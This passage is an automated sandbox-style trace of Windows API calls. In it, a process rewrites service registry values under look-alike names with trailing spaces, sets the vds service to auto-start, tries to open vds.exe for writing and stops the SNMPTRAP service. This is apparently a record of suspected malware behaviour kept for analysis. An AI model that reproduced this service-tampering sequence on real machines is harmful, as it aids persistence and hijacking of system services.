lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.896] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.897] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.897] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.897] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.897] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.897] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.897] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.897] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.897] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.897] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.897] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.897] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.897] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.898] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0250.898] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0250.898] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0250.898] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0250.898] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0250.898] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.898] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.898] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.899] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.899] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.899] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.899] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.899] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.899] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.899] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.899] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.899] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.899] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.899] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.899] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.900] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0250.900] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0250.900] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0250.900] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0250.900] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0250.900] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.900] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.900] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.900] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.900] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.900] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.900] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.901] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.901] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.901] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.901] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.901] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.901] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.901] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.901] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.901] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0250.901] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0250.901] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0250.901] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0250.902] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.902] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.902] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.902] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.902] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.902] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.902] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.902] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.902] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.902] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.902] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.903] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.903] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.903] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.903] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.903] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0250.903] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\vds.exe", cbData=0x1c | out: lpData="C:\\Windows\\System32\\vds.exe") returned 0x0 [0250.903] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\System32\\vds.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7e2238*="C:\\Windows\\System32\\vds.exe" [0250.903] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0250.903] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0250.903] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0250.903] LocalFree (hMem=0x7e2238) returned 0x0 [0250.903] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\vds.exe", cbData=0x1c | out: lpData="C:\\Windows\\System32\\vds.exe") returned 0x0 [0250.903] OpenServiceW (hSCManager=0x803918, lpServiceName="vds", dwDesiredAccess=0x2) returned 0x8038a0 [0250.904] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0250.925] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0250.925] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.925] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4c8) returned 1 [0250.925] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0250.925] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0250.925] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4d8) returned 1 [0250.925] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0250.925] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.925] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.925] RegCloseKey (hKey=0xc4) returned 0x0 [0250.925] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0250.925] RegCloseKey (hKey=0x14c) returned 0x0 [0250.926] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0250.926] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0250.926] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\vds.exe" (normalized: "c:\\windows\\system32\\vds.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a159cb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84a159cb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa450000, ftLastWriteTime.dwHighDateTime=0x1cb890f, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0250.926] CreateFileW (lpFileName="C:\\Windows\\System32\\vds.exe" (normalized: "c:\\windows\\system32\\vds.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0250.926] GetLastError () returned 0x20 [0250.926] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0250.927] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0250.927] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0250.927] OpenServiceW (hSCManager=0x803918, lpServiceName="SNMPTRAP", dwDesiredAccess=0x20) returned 0x803990 [0250.927] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0250.970] CloseServiceHandle (hSCObject=0x803990) returned 1 [0250.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0250.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0250.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0250.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0250.971] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0250.971] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0250.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0250.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1cd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0250.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.971] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0250.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0250.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.971] RtlFreeHeap (HeapHandle=0x2520000, 